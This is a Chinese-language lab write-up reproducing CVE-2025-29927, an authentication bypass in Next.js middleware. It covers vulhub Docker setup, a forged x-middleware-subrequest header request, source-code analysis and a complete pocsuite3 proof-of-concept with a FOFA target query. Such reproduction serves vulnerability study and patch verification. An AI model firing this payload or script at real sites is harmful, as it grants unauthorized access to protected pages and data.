一、next.js简介
Next.js 是一个基于 React 的现代化全栈框架,专注于构建高性能、服务端渲染(SSR)和静态生成(SSG)的 Web 应用。它简化了 React 应用的开发流程,提供开箱即用的路由系统、API 路由、代码分割、热模块替换等功能,支持服务端渲染和静态页面生成以优化 SEO 和加载速度。此外,Next.js 集成了 TypeScript、CSS 模块、图像优化等特性,并支持增量静态再生(ISR)实现动态内容更新。其约定优于配置的设计降低了开发门槛,适合构建从个人博客到企业级应用的多种场景,同时拥有活跃的社区和 Vercel 官方支持,是 React 生态中最流行的全栈解决方案之一。
二、漏洞概述
CVE-2025-29927 是 Next.js 框架中存在的高危中间件授权绕过漏洞(CVSS 9.1),攻击者可通过伪造 x-middleware-subrequest 请求头绕过身份验证机制,直接访问受保护的资源(如管理界面、敏感 API 等) 。
该漏洞的核心成因在于 Next.js 在处理中间件递归请求时,未对外部请求的 x-middleware-subrequest 头进行严格校验:当该头被构造为包含中间件路径标识(如 middleware 或 src/middleware )且重复次数达 5 次以上时,系统会误判为内部递归请求并跳过安全检查逻辑 。
- 影响版本
11.1.4 < Next.js ≤ 13.5.6
14.0 < Next.js < 14.2.25
15.0 < Next.js < 15.2.3
修复方案已通过升级版本(如 15.2.3)引入动态令牌验证机制,并删除非法伪造的请求头。
三、环境搭建
cd vulhub
git pull
cd next.js/CVE-2025-29927
docker compose up -d
报错处理:
- centos环境搭建失败
[root@localhost CVE-2025-29927]# docker compose up -d [+] Running 1/1 ✘ web Error Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceede... 15.7s Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
![]()
请求超时。
修改
/etc/docker/daemon.json
配置文件:{ "registry-mirrors": [ "https://docker.m.daocloud.io" ] }
![]()
docker info
查看,之前就配置过镜像源。docker yaml文件:
services: web: image: vulhub/nextjs:15.2.2 ports: - "3000:3000" environment: - NODE_ENV=production
替换镜像地址,失败。
[root@localhost CVE-2025-29927]# docker pull m.daocloud.io/docker.io/library/vulhub/nextjs:15.2.2 Error response from daemon: pull access denied for m.daocloud.io/docker.io/library/vulhub/nextjs, repository does not exist or may require 'docker login': denied: 🚫 👀-> https://github.com/DaoCloud/public-image-mirror/issues/2328 🔗 这镜像不在白名单. this image is not in the allowlist.
这个镜像在仓库中不存在。
如果想从官方镜像仓库中拉镜像,需要在centos上科学上网。
- 在mac下搭建环境
将next.js复现环境拷贝下来,启动Docker:
cd CVE-2025-29927 docker compose up -d
![]()
能够成功拉取到镜像。
![]()
访问测试:
四、漏洞复现
4.1 响应分析
请求包:
GET /login HTTP/1.1
Host: 127.0.0.1:3000
sec-ch-ua-platform: "macOS"
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
响应头:
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000
ETag: "4eg6zyf0i04f3"
Content-Type: text/html; charset=utf-8
Date: Thu, 10 Apr 2025 02:49:48 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 5727
X-Powered-By: Next.js
表明,目标服务是基于next.js开发的。
4.2 漏洞复现
GET / HTTP/1.1
Host: 127.0.0.1:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: close
成功绕过登录鉴权,访问到管理页面。
五、漏洞分析
源码分析:
const run = withTaggedErrors(asyncfunction runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
通过上述代码,可以看到会将x-middleware-subrequest
请求头的值按照:
分割为数组subrequests
,继续又检查了是否包含当前中间件的名称, 如果subrequests
中包含了当前中间件名称,则depth
自增,当自增到第五次时,则直接返回,从而绕过下面的验证。
其中params.name
:中间件路径标识,是中间件模块在Next.js
构建过程中生成的逻辑标识路径,其值为.next/server/middleware-manifest.json
文件中的值
进入容器中在.next/server/middleware-manifest.json
文件中也能看到该值。
六、pocsuite3-POC
from pocsuite3.api import Output, POCBase, register_poc, requests
class TestPOC(POCBase):
vulID = 'CVE-2025-29927'
version = '1.0'
author = 'sixiaokai'
vulDate = '2025-03-21'
createDate = '2025-04-10'
updateDate = '2025-04-10'
references = [
'https://github.com/vulhub/vulhub/tree/master/next.js/CVE-2025-29927'
]
name = 'next.js中间件权限绕过漏洞'
appPowerLink = 'https://nextjs.org/'
appName = 'Next.js'
appVersion = '(11.1.4,13.5.6]; (14.0,<14.2.25); (15.0,15.2.3)'
vulType = 'Authentication Bypass'
desc = '''
Next.js中间件在处理x-middleware-subrequest头时存在递归检查缺陷,攻击者可构造特殊请求头绕过鉴权验证,
导致未授权访问敏感数据。
'''
samples = ['http://127.0.0.1:3000']
cyberspace={'fofa':'app = "NEXT.JS"'}
def _verify(self):
result = {}
payload_header = {
'x-middleware-subrequest': 'middleware:middleware:middleware:middleware:middleware',
'Connection': 'close'
}
target_url = self.url.rstrip('/')
try:
# 发送包含恶意头的请求
resp = requests.get(
target_url,
headers=payload_header,
allow_redirects=False,
verify=False,
timeout=10
)
# 漏洞确认条件:响应体包含Settings关键词(不区分大小写)
if 'settings' in resp.text.lower():
result['VerifyInfo'] = {
'URL': target_url,
'Response Status': resp.status_code,
'Body Indicator': 'Settings keyword found',
'Response Preview': resp.text[:200] + "..." if resp.text else "Empty"
}
except Exception as e:
pass
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
register_poc(TestPOC)
测试验证: